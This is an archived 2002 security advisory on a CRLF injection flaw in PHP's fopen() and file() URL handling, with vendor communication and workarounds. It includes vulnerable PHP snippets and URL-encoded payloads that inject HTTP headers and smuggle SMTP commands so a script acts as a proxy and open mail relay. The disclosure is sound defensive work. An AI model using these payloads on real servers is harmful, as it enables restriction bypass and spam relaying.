PHP fopen() CRLF Injection

From: Ulf Harnhammar (ulfhat_private)
Date: Mon Sep 09 2002 - 14:23:01 PDT

  • Next message: Ulf Harnhammar: "[VulnWatch] PHP fopen() CRLF Injection"

    PHP fopen() CRLF Injection
    
    
    PROGRAM: PHP
    VENDOR: The PHP Group <groupat_private>
    HOMEPAGE: http://www.php.net/
    VULNERABLE VERSIONS: 4.1.2, 4.2.2, 4.2.3, latest CVS, possibly others
    IMMUNE VERSIONS: none, but workarounds exist
    SEVERITY: medium
    
    
    DESCRIPTION:
    
    "PHP is a widely-used Open Source general-purpose scripting language
    that is especially suited for Web development and can be embedded
    into HTML. Its syntax draws upon C, Java, and Perl, and is easy
    to learn. PHP runs on many different platforms and can be used
    as a standalone executable or as a module under a variety of Web
    servers. It has excellent support for databases, XML, LDAP, IMAP,
    Java, various Internet protocols, and general data manipulation,
    and is extensible via its powerful API."
    
    (direct quote from the program's project page at Freshmeat)
    
    PHP is published under the terms of The PHP License. It is installed
    on millions of web servers.
    
    
    SUMMARY:
    
    fopen(), file() and other functions in PHP have a vulnerability
    that makes it possible to add extra HTTP headers to HTTP
    queries. Attackers may use it to escape certain restrictions,
    like what host to access on a web server. In some cases, this
    vulnerability even opens up for arbitrary net connections, turning
    some PHP scripts into proxies and open mail relays.
    
    
    TECHNICAL DETAILS:
    
    PHP has several functions that take filenames as one of their
    arguments: fopen(), file() and some others. If allow_url_fopen is
    set to On in php.ini, those functions also accept URLs instead of
    regular files, and they connect to the server in question with the
    correct protocol. This functionality is vulnerable to some CRLF
    Injection attacks.
    
    
    1) We start with the simple attacks. Let's say that this PHP snippet
    is saved as snippet.php:
    
    <?php
    
    echo '<pre>';
    
    print_r(file("http://www.site1.st/api?sunnan=$sunnan&vind=$vind"));
    
    echo '</pre>';
    
    ?>
    
    If an attacker surfs to:
    
    snippet.php?sunnan=visby&vind=gotland%20HTTP/1.0%0D%0AHost%3A%20www.
    site2.st%0D%0AUser-Agent%3A%20Ulf/0.0%0D%0AReferer%3A%20http%3A%2F
    %2Fwww.gnuheter.org%2F%0D%0ACookie%3A%20user%3Dulf%0D%0A%0D%0A
    (should be on one line)
    
    this HTTP query will be sent to www.site1.st:
    
    GET /api?sunnan=visby&vind=gotland HTTP/1.0
    Host: www.site2.st
    User-Agent: Ulf/0.0
    Referer: http://www.gnuheter.org/
    Cookie: user=ulf
    
     HTTP/1.0
    Host: www.site1.st
    User-Agent: PHP/4.1.2
    
    As you can see, the real headers from PHP are sent as well, but
    the web server ignores them, as we send two CRLFs before them to
    indicate that the headers are over.
    
    Using this technique, we can add arbitrary user agents, referers and
    cookies. We can also break out of restrictions and access site2.st
    instead of the site site1.st that snippet.php tries to restrict us
    to, if site1.st and site2.st are virtual hosts on the same machine.
    
    
    2) If the PHP script is even worse, like this one called dotcom.php:
    
    <?php
    
    $fp = fopen($url, 'r');
    fpassthru($fp);
    
    ?>
    
    we can connect to arbitrary ports and send (almost) arbitrary
    commands, thus turning the dotcom.php script into a proxy and an
    open mail relay.
    
    If we surf to:
    
    dotcom.php?url=http%3A%2F%2Fmail.site1.st%3A25%2F+HTTP/1.0%0D%0AHELO+
    my.own.machine%0D%0AMAIL+FROM%3A%3Cme%40my.own.machine%3E%0D%0ARCPT+
    TO%3A%3Cinfo%40site1.st%3E%0D%0ADATA%0D%0Ai+will+never+say+the+word+
    PROCRASTINATE+again%0D%0A.%0D%0AQUIT%0D%0A%0D%0A
    (should be on one line)
    
    the PHP interpreter will connect to mail.site1.st on port 25,
    and send the following commands:
    
    GET / HTTP/1.0
    HELO my.own.machine
    MAIL FROM:<meat_private>
    RCPT TO:<infoat_private>
    DATA
    i will never say the word PROCRASTINATE again
    .
    QUIT
    
     HTTP/1.0
    Host: mail.site1.st:25
    User-Agent: PHP/4.1.2
    
    Both PHP and the MTA will complain, but the mail is still sent.
    
    
    FURTHER READING:
    
    For more information about this group of problems, read my "CRLF
    Injection" paper, which is available at
    http://online.securityfocus.com/archive/1/271515
    
    
    COMMUNICATION WITH VENDOR:
    
    All contact methods I could find were very public, like mailing
    lists and bug tracking systems. I ended up entering this security
    hole into their bug tracking system (as number 19160) on the 28th
    of August. The PHP developers are working on fixing this bug, but
    nothing have been committed to their CVS yet. I am releasing this
    anyway, as it is already public in their bug tracking system and
    as Matthew Murphy has published a related hole in PHP recently,
    thus making it more likely that some blackhat will find this too.
    
    
    WORKAROUNDS:
    
    One solution is to make sure that all variables that are used in this
    type of URL are clean, by including this command in your PHP scripts:
    
    $var = preg_replace('/\\s+/', '', $var);
    
    Another solution: if your scripts don't need to access URLs
    like files, you can switch off that functionality by setting
    allow_url_fopen to Off in php.ini.
    
    
    // Ulf Harnhammar
    ulfhat_private
    http://www.metaur.nu/
    



    This archive was generated by hypermail 2b30 : Mon Sep 09 2002 - 14:51:06 PDT